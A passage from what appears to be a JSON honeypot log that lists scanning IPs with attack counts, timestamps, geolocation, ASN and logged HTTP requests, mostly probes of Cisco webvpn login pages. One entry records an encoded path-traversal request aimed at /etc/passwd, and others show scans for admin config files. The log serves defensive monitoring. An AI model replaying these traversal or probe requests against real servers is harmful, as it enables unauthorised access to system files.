      "first_seen": "2026-04-08T23:29:20.702Z",
      "last_seen": "2026-04-27T09:54:27.421Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "173.249.252.104": {
      "attack_count": 12,
      "first_seen": "2026-04-23T14:55:27.364Z",
      "last_seen": "2026-04-29T04:51:33.417Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.141.119.173": {
      "attack_count": 12,
      "first_seen": "2026-04-13T13:16:34.113Z",
      "last_seen": "2026-04-27T10:34:48.219Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.160.24.157": {
      "attack_count": 12,
      "first_seen": "2026-04-15T00:53:39.310Z",
      "last_seen": "2026-04-24T17:46:01.864Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.162.8.116": {
      "attack_count": 12,
      "first_seen": "2026-04-12T02:51:37.837Z",
      "last_seen": "2026-04-29T16:05:45.217Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 25737,
      "as_org": "Jone Broadband LLC"
    },
    "23.234.117.157": {
      "attack_count": 12,
      "first_seen": "2026-04-18T17:29:46.333Z",
      "last_seen": "2026-04-29T02:55:56.909Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.157": {
      "attack_count": 12,
      "first_seen": "2026-04-18T05:48:40.951Z",
      "last_seen": "2026-04-27T14:35:31.456Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.162": {
      "attack_count": 12,
      "first_seen": "2026-04-21T02:35:52.293Z",
      "last_seen": "2026-04-24T13:53:46.901Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.220.101.172": {
      "attack_count": 11,
      "first_seen": "2026-04-24T09:15:02.845Z",
      "last_seen": "2026-04-24T09:15:17.833Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/cdr/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/common/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/helpers/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/i18n/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/images/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/libraries/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/modules/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/modules/cxpanel/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/modules/ucp/htdocs/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/themes/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "142.111.228.35": {
      "attack_count": 10,
      "first_seen": "2026-04-10T16:54:30.354Z",
      "last_seen": "2026-04-13T14:23:36.944Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "146.70.168.115": {
      "attack_count": 9,
      "first_seen": "2026-04-10T13:52:19.406Z",
      "last_seen": "2026-04-10T18:26:01.298Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.172.211": {
      "attack_count": 9,
      "first_seen": "2026-04-09T02:04:29.113Z",
      "last_seen": "2026-04-21T05:15:33.227Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.254.185": {
      "attack_count": 9,
      "first_seen": "2026-04-10T02:40:34.752Z",
      "last_seen": "2026-04-29T23:14:11.673Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.168.216.175": {
      "attack_count": 9,
      "first_seen": "2026-04-09T02:21:35.319Z",
      "last_seen": "2026-04-23T12:57:13.939Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.103.61": {
      "attack_count": 9,
      "first_seen": "2026-04-08T12:05:41.804Z",
      "last_seen": "2026-04-11T08:45:23.293Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.48": {
      "attack_count": 9,
      "first_seen": "2026-04-11T07:04:38.646Z",
      "last_seen": "2026-04-25T08:23:54.978Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.233": {
      "attack_count": 9,
      "first_seen": "2026-04-08T17:31:39.598Z",
      "last_seen": "2026-04-27T09:49:51.592Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.48": {
      "attack_count": 9,
      "first_seen": "2026-04-08T12:46:11.828Z",
      "last_seen": "2026-04-11T04:04:09.123Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.120.202.45": {
      "attack_count": 8,
      "first_seen": "2026-04-13T12:16:51.991Z",
      "last_seen": "2026-04-13T12:17:14.737Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "166.1.252.79": {
      "attack_count": 7,
      "first_seen": "2026-04-13T08:54:26.628Z",
      "last_seen": "2026-04-13T08:54:42.605Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.204.85": {
      "attack_count": 7,
      "first_seen": "2026-04-13T17:05:04.039Z",
      "last_seen": "2026-04-13T17:05:21.504Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "199.45.154.121": {
      "attack_count": 6,
      "first_seen": "2026-04-23T21:04:09.844Z",
      "last_seen": "2026-04-23T21:04:25.707Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc."
    },
    "23.168.216.157": {
      "attack_count": 6,
      "first_seen": "2026-04-08T11:04:20.435Z",
      "last_seen": "2026-04-08T13:31:05.538Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.113.48": {
      "attack_count": 6,
      "first_seen": "2026-04-18T16:12:45.821Z",
      "last_seen": "2026-04-25T05:09:14.697Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.115.233": {
      "attack_count": 6,
      "first_seen": "2026-04-08T17:16:13.507Z",
      "last_seen": "2026-04-18T01:49:45.788Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.71": {
      "attack_count": 6,
      "first_seen": "2026-04-08T18:07:02.304Z",
      "last_seen": "2026-04-10T11:41:15.398Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.233": {
      "attack_count": 6,
      "first_seen": "2026-04-08T21:09:11.332Z",
      "last_seen": "2026-04-29T10:13:02.707Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.104": {
      "attack_count": 6,
      "first_seen": "2026-04-18T19:26:50.686Z",
      "last_seen": "2026-04-25T07:15:36.963Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.195.85": {
      "attack_count": 6,
      "first_seen": "2026-04-26T19:39:35.993Z",
      "last_seen": "2026-04-26T19:39:53.733Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "103.251.26.175": {
      "attack_count": 3,
      "first_seen": "2026-04-25T03:20:54.248Z",
      "last_seen": "2026-04-25T03:21:03.613Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.187.137": {
      "attack_count": 3,
      "first_seen": "2026-04-10T07:05:26.056Z",
      "last_seen": "2026-04-10T07:05:34.181Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.82.156": {
      "attack_count": 3,
      "first_seen": "2026-04-21T03:45:00.726Z",
      "last_seen": "2026-04-21T03:45:09.755Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "44.220.188.205": {
      "attack_count": 3,
      "first_seen": "2026-04-25T00:49:47.081Z",
      "last_seen": "2026-04-25T00:49:53.673Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "47.88.59.135": {
      "attack_count": 3,
      "first_seen": "2026-04-27T01:42:24.586Z",
      "last_seen": "2026-04-27T01:42:28.064Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "85.11.183.23": {
      "attack_count": 3,
      "first_seen": "2026-04-19T06:05:23.484Z",
      "last_seen": "2026-04-29T03:27:28.416Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd"
    },
    "91.196.152.252": {
      "attack_count": 3,
      "first_seen": "2026-04-02T09:10:45.879Z",
      "last_seen": "2026-04-24T21:53:02.720Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "104.152.52.205": {
      "attack_count": 2,
      "first_seen": "2026-04-03T00:47:15.632Z",
      "last_seen": "2026-04-03T00:47:16.306Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC"
    },
    "147.185.132.165": {
      "attack_count": 2,
      "first_seen": "2026-04-04T06:20:46.942Z",
      "last_seen": "2026-04-04T06:20:49.945Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "147.185.132.198": {
      "attack_count": 2,
      "first_seen": "2026-04-28T02:54:17.148Z",
      "last_seen": "2026-04-28T02:54:20.152Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "147.185.132.9": {
      "attack_count": 2,
      "first_seen": "2026-04-05T18:50:14.229Z",
      "last_seen": "2026-04-05T18:50:17.233Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "198.235.24.69": {
      "attack_count": 2,
      "first_seen": "2026-04-24T20:59:49.710Z",
      "last_seen": "2026-04-24T20:59:52.712Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "5.187.35.142": {
      "attack_count": 2,
      "first_seen": "2026-04-07T13:46:15.768Z",
      "last_seen": "2026-04-24T01:37:05.063Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd"
    },
    "52.207.238.74": {
      "attack_count": 2,
      "first_seen": "2026-04-17T01:02:03.678Z",
      "last_seen": "2026-04-17T01:02:06.679Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.164.79.148": {
      "attack_count": 2,
      "first_seen": "2026-04-10T01:00:13.593Z",
      "last_seen": "2026-04-10T01:00:16.596Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.197.42": {
      "attack_count": 2,
      "first_seen": "2026-04-03T05:16:26.320Z",
      "last_seen": "2026-04-03T05:16:58.135Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "67.207.82.49": {
      "attack_count": 2,
      "first_seen": "2026-04-19T02:53:21.867Z",
      "last_seen": "2026-04-19T02:53:28.934Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "184.105.139.105": {
      "attack_count": 1,
      "first_seen": "2026-04-11T10:05:17.145Z",
      "last_seen": "2026-04-11T10:05:17.145Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.203": {
      "attack_count": 1,
      "first_seen": "2026-04-29T02:57:58.640Z",
      "last_seen": "2026-04-29T02:57:58.640Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.204": {
      "attack_count": 1,
      "first_seen": "2026-04-29T02:57:46.376Z",
      "last_seen": "2026-04-29T02:57:46.376Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.61": {
      "attack_count": 1,
      "first_seen": "2026-04-27T00:25:22.267Z",
      "last_seen": "2026-04-27T00:25:22.267Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.34": {
      "attack_count": 1,
      "first_seen": "2026-04-03T05:15:12.546Z",
      "last_seen": "2026-04-03T05:15:12.546Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.165": {
      "attack_count": 1,
      "first_seen": "2026-04-07T00:29:26.914Z",
      "last_seen": "2026-04-07T00:29:26.914Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.166": {
      "attack_count": 1,
      "first_seen": "2026-04-07T00:29:25.160Z",
      "last_seen": "2026-04-07T00:29:25.160Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.170": {
      "attack_count": 1,
      "first_seen": "2026-04-07T00:28:55.394Z",
      "last_seen": "2026-04-07T00:28:55.394Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "87.251.64.73": {
      "attack_count": 1,
      "first_seen": "2026-04-05T21:28:18.077Z",
      "last_seen": "2026-04-05T21:28:18.077Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 200730,
      "as_org": "ISAEV Igor"
    },
    "91.196.152.38": {
      "attack_count": 1,
      "first_seen": "2026-04-09T03:12:31.388Z",
      "last_seen": "2026-04-09T03:12:31.388Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.97": {
      "attack_count": 1,
      "first_seen": "2026-04-26T18:27:13.943Z",
      "last_seen": "2026-04-26T18:27:13.943Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
